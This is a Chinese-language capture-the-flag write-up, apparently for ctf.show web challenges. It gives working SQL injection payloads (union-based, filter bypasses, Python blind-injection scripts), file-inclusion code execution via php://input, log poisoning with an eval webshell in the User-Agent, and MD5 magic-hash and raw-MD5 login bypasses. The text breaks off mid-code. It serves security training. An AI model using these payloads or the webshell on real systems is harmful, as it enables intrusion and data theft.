这一关的flag藏在注释中,base64解密即可得到flag
SQL注入漏洞,请求方式是POST请求,注入点是单引号字符型注入,flag就藏在当前的数据库的flag表中,使用联合注入获取数据即可
username=admin' or 1=1#&password=123 显示登陆成功存在注入
username=admin' or 1=1 order by 3#&password=123 回显正常
username=admin' or 1=1 order by 4#&password=123 回显异常
username=admin' or 1=1 union select 1,2,3#&password=123 2可以回显在页面上
username=admin' or 1=1 union select 1,database(),3#&password=123 库名为web2
username=admin' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#&password=123 表名为flag和user
username=admin' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag"#&password=123 flag表存在flag字段
username=admin' or 1=1 union select 1,flag,3 from flag#&password=123 得到flag
文件包含漏洞,include()函数包含的文件会被执行,使用PHP伪协议配合抓包工具进行命令执行
php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,enctype=multipart/form-data"时,php:/input将会无效
提示了: <?php include($_GET['url']);?>
传参?url=php://input
post参数写入<?php system('ls')?>,就会被include当作php执行了
拿到回显ctf_go_go_go index.php
post参数查看文件<?php system('cat ctf_go_go_go')?>得到flag
php伪协议读文件:php://filter/read=convert.base64-encode/resource=文件名
当enctype="multipart/form-data"时,php://input是无效的。
文件包含漏洞,使用include()函数接收url参数,include()函数包含的文件会被执行,从而造成任意代码执行,或者配合伪协议获取敏感文件甚至getshell;然而这一关伪协议不起作用,我们可以通过日志注入进行任意命令执行,从而getshell
c与上题提示一致:<?php include($_GET['url']);?>
本题可以访问nginx日志:?url=/var/log/nginx/access.log
172.12.0.6 - - [31/Aug/2022:14:01:28 +0000] "GET / HTTP/1.1" 200 715 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0"
172.12.0.6 - - [31/Aug/2022:14:01:53 +0000] "GET /?url=index.php HTTP/1.1" 200 15 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0"
也就是说如果我们UA带上一句话也会写入日志中,并且因为include函数会强制使用php解析日志
重新抓包在UA中加上一句话:<?php @eval($_POST['a']);?>
然后蚁剑连接:http://05cc7d16-8718-4a15-9c1d-2331578c7921.challenge.ctf.show/?url=/var/log/nginx/access.log,密码为a即可
需要传递两个参数,一个字符串,一个数字,并且两个参数的md5值必须相同,我们可以利用md5的0e漏洞进行绕过
0e绕过是指:0e开头的字符串在参与弱类型比较时,会被当做科学计数法,结果转换为0;我们只要传入两个md5值是以0e开头的参数,即可绕过md5加密,夺取flag
打开看到源码提示:
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{
echo "where is flag?";
}
?>
v1必须是纯字母,v2必须是纯数字,并且v1和v2的md5值要一样
PHP在处理哈希字符串时,它把每一个以"0e"开头的哈希值都解释为0,所以只有v1和v2哈希之后的值都是0e开头,两个等于号的php比较就被绕过了
常见md5后以0e开头的字符串:
QNKCDZO
240610708
byGcY
sonZ7y
s878926199a
s155964671a
s214587387a
s214587387a
s878926199a
s1091221200a
s1885207154a
s1502113478a
s1885207154a
s1836677006a
s155964671a
s1184209335a
s1665632922a
s1502113478a
s1836677006a
s1091221200a
s155964671a
s1502113478a
s155964671a
s1665632922a
s155964671a
s1091221200a
s1836677006a
s1885207154a
s532378020a
s878926199a
s1091221200a
s214587387a
s1502113478a
s1091221200a
s1665632922a
s1885207154a
s1836677006a
s1665632922a
s878926199a
补充:
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' =='1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == '0xABCdef');
SQL注入漏洞,注入点是单引号字符型注入,并且过滤了空格,我们可以使用括号()或者注释/**/绕过
当输入username=admin' or 1=1#&password=123
时提示sql inject error
,发现时kongge被过滤了
一般有以下几种绕过空格的方法
/**/
()
回车(url编码中的%0a)
换行符(url编码中的%09)
`(tap键上面的按钮)
tap
两个空格
此处我们使用/**/
然后根据web2中的payload,最终payload为:username=admin'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#&password=123
SQL注入漏洞,注入点是数值型注入,源码中过滤了空格,我们可以使用括号()或者注释/**/来代替空格
参考web2和web6
payload:/index.php?id=1/**/or/**/1=1/**/union/**/select/**/1,database(),3#
能联合查询直接搞,也有wp使用布尔盲注:
import requests
s=requests.session()
url='https://46a0f98e-cdc3-413d-b67c-b2dbaeb5c4ec.chall.ctf.show/index.php'
table=""
for i in range(1,45):
print(i)
for j in range(31,128):
#爆表名 flag
payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
#payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))
ra = s.get(url=url + '?id=0/**/or/**/' + payload).text
if 'I asked nothing' in ra:
table += chr(j)
print(table)
break
SQL 注入漏洞, 注入点是数值型, 注入类型推荐使用布尔盲注,此关卡过滤了空格,逗号,and,union等关键字
substr(database(),1,1)
——> substr(database() from 1 for 1)
,limit 0,1
——> limit 1 offset 0
id=-1 /**/or /**/1=1 返回全部结果,正确
id=-1/**/or/**/1=2 返回结果为空,错误,没有回显应该是盲注
编写盲注脚本
import requests
url='http://4dbdeaee-1caf-482b-a050-73f670e78d6d.challenge.ctf.show/index.php?id=-3'
payload1=url+"/**/or/**/ascii(substr(database()/**/from/**/{}/**/for/**/1))={}"
payload2=url+"/**/or/**/ascii(substr((select(table_name)from/**/information_schema.tables/**/where/**/table_schema=\"web8\"limit/**/1/**/offset/**/0)from/**/{}/**/for/**/1))={}"
payload3=url+"/**/or/**/ascii(substr((select(column_name)from/**/information_schema.columns/**/where/**/table_name=\"flag\"limit/**/1/**/offset/**/0)from/**/{}/**/for/**/1))={}"
payload=url+"/**/or/**/ascii(substr((select(flag)from/**/flag/**/limit/**/1/**/offset/**/0)from/**/{}/**/for/**/1))={}"
flag=''
str='1234567890abcdefghijklmnopqrstuvwxyz-{}' # 或者使用range(31, 128):
for i in range(200):
for j in str:
res=requests.get(payload.format(i,ord(j)))
if('If' in res.text):
flag=flag+j
print(flag)
if(j=='}'):
break
SQL注入漏洞, SQL中使用MD5进行加密, 推荐使用MD5加密漏洞绕过
扫到robots.txt,打开看到提示index.phps
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功
";
echo $flag;
}
}
?>
语法:md5(string,raw)
string 必需。规定要计算的字符串。
raw 可选
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数
将密码转换成16进制的hex值以后,再将其转换成字符串后包含'or'xxx
提供一个字符串: ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
再转成字符串: 'or'6
拼接入sql得到:select * from user where username ='admin' and password =''or'6
其中'6
以6开头,非0,返回真,or就也返回真,and整个表达式为真
SQL注入漏洞, 审计代码可以发现源码中存在漏洞, 推荐使用with rollup注入进行绕过, 此关卡过滤了空格,and等关键字
- 过滤空格, 可以使用括号()或者注释/**/绕过
- 过滤and, 可以使用or来代替
同样index.phps泄露源码
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){